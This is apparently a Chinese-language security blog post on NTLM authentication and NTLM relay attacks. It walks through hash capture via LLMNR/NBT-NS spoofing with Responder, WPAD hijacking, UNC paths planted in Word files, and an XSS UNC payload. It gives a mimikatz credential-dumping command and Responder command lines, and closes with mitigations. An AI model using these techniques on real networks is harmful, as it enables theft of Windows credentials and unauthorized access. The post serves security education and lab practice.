MENU

NTLM Replay重放攻击

September 28, 2022 • Read: 851 • Web

简述

相关术语

  • NTLM-hash
    通常是指Windows系统下Security Account Manager中保存的用户密码hash,也可以理解成mimikatz中就跑出来的哈希,也叫做ntlm-hash。

NT-hash可以直接用于pass the ticket攻击。

  • Net-NTLM hash
    这个是指的是ntlm认证第三阶段的时候客户端发送给服务器的用自己的hash加密challenge后的那段密文也就是response

Pasted image 20220927151723.png

早期,Windows域环境下使用NTLM作为认证方式,后来采用了Kerberos协议。在默认环境下,NTLM认证和Kerberos认证同时存在于域环境下。当我们指定主机名的时候,会选用Kerberos来作为认证方式:

NTLM 本地认证

加密过程:
admin->hex->unicode->md4->>ntlm hash
认证流程:
winlogo.exe-》接受输入-》lsass.exe(hash并对比)-》认证

Pasted image 20220921163748.png
Windows将用户的密码存储在本地计算机的SAM文件中,文件位置:C:\Windows\System32\config\SAM。密码的存储以NTLM Hash的方式进行存储。当用户输入密码进行本地认证时,首先系统会将明文密码处理成NTLM Hash,然后与SAM文件中的Hash进行比较,相同则认证通过。同时,会在lsass.exe进程中,保存一份明文密码。

这里也提到,lsass进程会缓存一份明文密码(win 2012之前),当获取到一台主机权限之后,可以利用mimikatzlsass进程中导出密码。

sekurlsa::logonpasswords full

NTLM 网络认证

工作组环境

Pasted image 20220921170445.png
1)客户端首先会在本地缓存一份用户输入的密码值对应的NTLM Hash,然后向服务端发送Negotiate协商消息,去指定需要协商认证的用户、机器以及其他相关信息。

2)服务端接收到Negotiate协商消息之后,会将数据传输给NTLM SSP进行处理,然后获得一个返回的 16 位随机值,称之为Challenge,将其发送给客户端,并在本地缓存该Challenge

3)客户端提取出来Challenge之后,使用本地缓存的NTLM Hash值对其进行加密,得到的值成为Net-NTLM Hash,然后将该值封装到Authenticate认证消息中传输给服务端。

4)服务端收到认证消息之后,会使用自己的密码对应的NTLM Hash值对本地缓存的Challenge进行哈希处理,然后将得到的值与认证消息中的Net-NTLM Hash进行比较,如果匹配则认证通过。

域环境

前三步骤类似,最后提起Net-NTLM Hash认证时,服务端(被访问的主机)会交由域控进行认证
Pasted image 20220921170737.png

NTLM 中继攻击

NTLM Relay攻击其实就是攻击者转发客户端的所有请求给服务端,从而完成认证。这是一种中间人攻击的方式,其实也就是对获取到的Net-NTLM Hash进行重放。

Pasted image 20220927152108.png

常见的捕获Net-NTLM Hash方法:

利用LLMNR和NetBIOS欺骗

LLMNR全称链路本地多播名称解析,是基于域名系统(DNS)数据包格式的协议,IPv4IPv6的主机可以通过此协议对同一本地链路上的主机执行名称解析。简单理解为就是一种在局域网内寻找主机的协议。

NetBios全称网络基本输入输出系统,它提供了OSI模型中的会话层服务,让在不同计算机上运行的不同程序,可以在局域网中,互相连线,以及分享数据。NetBIOS也是计算机的标识名称,主要用于局域网内计算机的互访。NetBIOS的工作流程就是正常的机器名解析查询应答过程。在Windows操作系统中,默认情况下在安装TCP/IP协议后会自动安装NetBIOS

mdns在计算机网络中 , 多播DNS ( mDNS )协议将主机名解析为不包含本地名称服务器的小型网络中的IP地址。 它是一种零配置服务,使用与单播域名系统 (DNS)基本相同的编程接口,数据包格式和操作语义。 虽然Stuart Cheshire将mDNS设计为独立协议,但它可以与标准DNS服务器协同工作。它通过UDP 5353端口进行通信,且MDNS也支持IPV6。

目前仅有windows 10支持mdns,经测试发现,禁用了llmnr后mdns也会被禁用。
总的来说,以上几种协议在windows中都是默认启用的,主要作用都是在DNS服务器解析失败后,尝试对windows主机名称进行解析,正因为默认启用、且实现方式又类似于ARP协议,并没有一个认证的过程,所以就会引发各种基于这两种协议的欺骗行为,而Responder正是通过这种方式,欺骗受害机器,并使受害机器在后续认证中发送其凭证。

Windows解析主机名的顺序为:

1)查看本地hosts文件

2)查看DNS缓存或者DNS服务器中进行查找

3)利用LLMNR(链路本地多播名称解析)和NetBIOS名称服务进行查找

也就是说,如果在缓存中没有找到名称,DNS名称服务器又请求失败时,Windows系统就会通过链路本地多播名称解析(LLMNR)和Net-BIOS名称服务(NBT-NS)在本地进行名称解析。这时,客户端就会将未经认证的UDP广播到网络中,询问它是否为本地系统的名称,由于该过程未被认证,并且广播到整个网络,从而允许网络上的任何机器响应并声称是目标机器。当用户输入不存在、包含错误或者DNS中没有的主机名时,通过工具(responder)监听LLMNR和NetBIOS广播,攻击者可以伪装成受害者要访问的目标机器,并从而让受害者交出相应的登陆凭证。核心过程与arp欺骗类似,我们可以让攻击者作中间人,截获到客户端的Net-NTLMHash。

使用smb触发net use \\qwe,LLMNR
Pasted image 20220927163532.png

查询完host后进行DNS查询
Pasted image 20220927163731.png

通过LLMNR 将qwe进行224.0.0.252组播询问,该组播询问未经认证,是该漏洞所利用的一大特点。
Pasted image 20220927163935.png

Responder捕获hash
  1. responder -I 网卡 -i 绑定的ip 开启捕获
  2. 在win2008上执行net use \\qwe
  3. 获得hash

Pasted image 20220927182449.png

流量分析
  1. 组播问询-攻击者答应阶段,最终是走了ipv6协议
    Pasted image 20220927183228.png

Pasted image 20220927183417.png
Pasted image 20220927183615.png

  1. 这里没将攻击机配置到受害主机的域环境内,因此ntlm认证形式仍为工作组的认证,很标准。
    Pasted image 20220927184210.png

先进行协商negotiate,协商ntlm的版本v1 or v2
Pasted image 20220927185250.png
接着服务端,生成16位随机字符,challenge
Pasted image 20220927185254.png

最后客户端发送net-ntlm hash
Pasted image 20220927185804.png

最终responder这边成功取得hash
Pasted image 20220927182805.png

获得的net-ntlm hash可以使用john或hashcat进行爆破

利用WPAD劫持

WPAD 网络代理自动发现协议是一种客户端使用DCHP、DNS、LLMNR、NBNS协议来定位一个代理配置文件(PAC)URL的方法。WPAD通过让浏览器自动发现代理服务器,查找存放PAC 文件的主机来定位代理配置文件,下载编译并运行,最终自动使用代理访问网络。

一个典型的劫持方式是利用LLMNR/NBNS欺骗来让受害者从攻击者获取PAC文件,PAC文件指定攻击者就是代理服务器,然后攻击者就可以劫持受害者的HTTP流量,在其中插入任意HTML标签从而获得用户的Net-NTLMHash。

当你的浏览器设置为 “自动检测代理设置” 的情况下,它就会下载攻击者事先准备好的wpad.dat文件,这样一来,客户端的流量就会经过攻击者的机器。

 responder -I eth0 -v -F on -w on -F 强制验证,-w on开启wpad劫持

利用office文件钓鱼

保存之后将文件后缀更改成zip,然后解压缩。在word\_rels\document.xml.rels中找到图片的位置,然后修改成UNC路径:
修改属性值为Target="\\qwe\c$" TargetMode="External",然后压缩之后修改后缀为docx。当用户打开该word文档之后,便会向局域网内发送广播数据包,攻击者就可以获取到Net-NTLM Hash

利用web漏洞或数据库漏洞

例如XSS漏洞,设置一个UNC路径,当客户端运行加载的时候,就会在局域网内进行广播:
<script src="\\qwe\c$" >
例如mssql普通用户的xpdirtree

攻击手法

Responder

使用Responder进行net-ntlm hash的抓取,然后爆破
kali自带or https://github.com/lgandx/Responder 需要安装netifaces 并且以root权限运行

MultiRelay

当无法爆破出密码时,若是机器之间使用相同的密码,则可以使用Responder的tools下的MultiRelay,将net-ntlm hash进行中继,以获得其他机器的权限

SMBRelay

该方法主要是构造一个域内恶意的http服务器充当smb服务器,当域内用户访问该网址时会进行弹窗获取密码,成功取得密码后会尝试连接指定的主机并上传shell 执行
https://github.com/SecureAuthCorp/impacket 直接使用example中的代码即可

msf中的smb_relay模块(ms08-068)

这个攻击手段就是将机器reflect回机子本身。然而微软在ms08-068中对smb reflect到 smb 做了限制,防止了同一主机从SMB协议向SMB协议的Net-NTLMhash relay。这个补丁在CVE-2019-1384(Ghost Potato)被绕过。但是缺点是只支持NTLMv1

以上具体案例可在找到

红日安全靶场三

预防与修复

为了加强Windows系统的安全性,可以进行以下调整。
通过组策略禁用LLMNR
打开gpedit.msc 到计算机配置>管理>网络> DNS客户端>关闭多播域名解析并设置为已启用
禁用NBT-NS
这可以到网卡>属性> IPv4>高级> WINS,然后在“NetBIOS设置”下选择禁用TCP/IP上的NetBIOS